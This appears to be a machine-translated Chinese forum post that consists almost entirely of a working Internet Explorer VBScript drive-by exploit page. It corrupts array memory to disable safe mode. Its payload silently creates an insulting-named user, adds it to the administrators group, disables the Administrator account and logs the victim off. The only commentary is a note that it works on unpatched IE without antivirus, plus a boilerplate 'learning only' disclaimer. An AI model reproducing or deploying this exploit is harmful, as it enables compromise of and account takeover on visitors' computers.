This article is a mirror article of machine translation, please click here to jump to the original article.

View: 12556|Reply: 0

[Security Vulnerability] IE kills remote command execution

[Copy link]
Posted on 4/1/2015 9:39:03 PM | | |
  1. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

  2. <!--[if !IE]><!--> 本网站目前只支持IE,请使用IE打开本页面 <!--<![endif]--><br>
  3. <!--[if IE]> 对不起,你没有权限打开本页面,请联系管理员 <![endif]-->


  4. <!--#####漏洞利用的前提:使用IE、未打漏洞的、未开360的############################################-->



  5. <!doctype html>
  6. <html>
  7. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  8. <head>
  9. </head>
  10. <body>

  11. <scrip去掉t LANGUAGE="VBscrip去掉t">

  12. function runmumaa()
  13. On Error Resume Next
  14. set shell=createobject("wscrip去掉t.shell")
  15. shell.run "net user 大喊我是傻逼即可解锁 nishishabi /add",0
  16. shell.run "cmd.exe",0
  17. shell.run "cmd.exe",0
  18. shell.run "cmd.exe",0
  19. shell.run "net localgroup administrators 大喊我是傻逼即可解锁 /add",0
  20. shell.run "cmd.exe",0
  21. shell.run "cmd.exe",0
  22. shell.run "cmd.exe",0
  23. shell.run "net user administrator /active:no",0
  24. shell.run "cmd.exe",0
  25. shell.run "cmd.exe",0
  26. shell.run "cmd.exe",0
  27. shell.run "cmd.exe",0
  28. shell.run "shutdown -l",0
  29. end function

  30. </scrip去掉t>

  31. <scrip去掉t LANGUAGE="VBscrip去掉t">

  32. dim   aa()
  33. dim   ab()
  34. dim   a0
  35. dim   a1
  36. dim   a2
  37. dim   a3
  38. dim   win9x
  39. dim   intVersion
  40. dim   rnda
  41. dim   funclass
  42. dim   myarray

  43. Begin()

  44. function Begin()
  45.   On Error Resume Next
  46.   info=Navigator.UserAgent

  47.   if(instr(info,"Win64")>0)   then
  48.      exit   function
  49.   end if

  50.   if (instr(info,"MSIE")>0)   then
  51.              intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  52.   else
  53.      exit   function
  54.             
  55.   end if

  56.   win9x=0

  57.   BeginInit()
  58.   If Create()=True Then
  59.      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  60.      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

  61.      if(intVersion<4) then
  62.          document.write("<br> IE")
  63.          document.write(intVersion)
  64.          runshellcode()                  
  65.      else
  66.           setnotsafemode()
  67.      end if
  68.   end if
  69. end function

  70. function BeginInit()
  71.    Randomize()
  72.    redim aa(5)
  73.    redim ab(5)
  74.    a0=13+17*rnd(6)
  75.    a3=7+3*rnd(5)
  76. end function

  77. function Create()
  78.   On Error Resume Next
  79.   dim i
  80.   Create=False
  81.   For i = 0 To 400
  82.     If Over()=True Then
  83.     '   document.write(i)   
  84.        Create=True
  85.        Exit For
  86.     End If
  87.   Next
  88. end function

  89. sub testaa()
  90. end sub

  91. function mydata()
  92.     On Error Resume Next
  93.      i=testaa
  94.      i=null
  95.      redim  Preserve aa(a2)

  96.      ab(0)=0
  97.      aa(a1)=i
  98.      ab(0)=6.36598737437801E-314

  99.      aa(a1+2)=myarray
  100.      ab(2)=1.74088534731324E-310
  101.      mydata=aa(a1)
  102.      redim  Preserve aa(a0)
  103. end function


  104. function setnotsafemode()
  105.     On Error Resume Next
  106.     i=mydata()
  107.     i=readmemo(i+8)
  108.     i=readmemo(i+16)
  109.     j=readmemo(i+&h134)
  110.     for k=0 to &h60 step 4
  111.         j=readmemo(i+&h120+k)
  112.         if(j=14) then
  113.               j=0         
  114.               redim  Preserve aa(a2)            
  115.      aa(a1+2)(i+&h11c+k)=ab(4)
  116.               redim  Preserve aa(a0)

  117.      j=0
  118.               j=readmemo(i+&h120+k)  
  119.         
  120.                Exit for
  121.            end if

  122.     next
  123.     ab(2)=1.69759663316747E-313
  124.     runmumaa()
  125. end function

  126. function Over()
  127.     On Error Resume Next
  128.     dim type1,type2,type3
  129.     Over=False
  130.     a0=a0+a3
  131.     a1=a0+2
  132.     a2=a0+&h8000000

  133.     redim  Preserve aa(a0)
  134.     redim   ab(a0)   

  135.     redim  Preserve aa(a2)

  136.     type1=1
  137.     ab(0)=1.123456789012345678901234567890
  138.     aa(a0)=10
  139.          
  140.     If(IsObject(aa(a1-1)) = False) Then
  141.        if(intVersion<4) then
  142.            mem=cint(a0+1)*16            
  143.            j=vartype(aa(a1-1))
  144.            if((j=mem+4) or (j*8=mem+8)) then
  145.               if(vartype(aa(a1-1))<>0)  Then   
  146.                  If(IsObject(aa(a1)) = False ) Then            
  147.                    type1=VarType(aa(a1))
  148.                  end if              
  149.               end if
  150.            else
  151.              redim  Preserve aa(a0)
  152.              exit  function

  153.            end if
  154.         else
  155.            if(vartype(aa(a1-1))<>0)  Then   
  156.               If(IsObject(aa(a1)) = False ) Then
  157.                   type1=VarType(aa(a1))
  158.               end if              
  159.             end if
  160.         end if
  161.     end if
  162.             
  163.    
  164.     If(type1=&h2f66) Then        
  165.           Over=True     
  166.     End If
  167.     If(type1=&hB9AD) Then
  168.           Over=True
  169.           win9x=1
  170.     End If

  171.     redim  Preserve aa(a0)         
  172.       
  173. end function

  174. function ReadMemo(add)
  175.     On Error Resume Next
  176.     redim  Preserve aa(a2)

  177.     ab(0)=0  
  178.     aa(a1)=add+4   
  179.     ab(0)=1.69759663316747E-313      
  180.     ReadMemo=lenb(aa(a1))
  181.   
  182.     ab(0)=0   

  183.     redim  Preserve aa(a0)
  184. end function

  185. </scrip去掉t>

  186. </body>
  187. </html>
Copy code





Previous:Oracle simple beginner practice questions
Next:asp.net the principle and code of image captcha generation
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com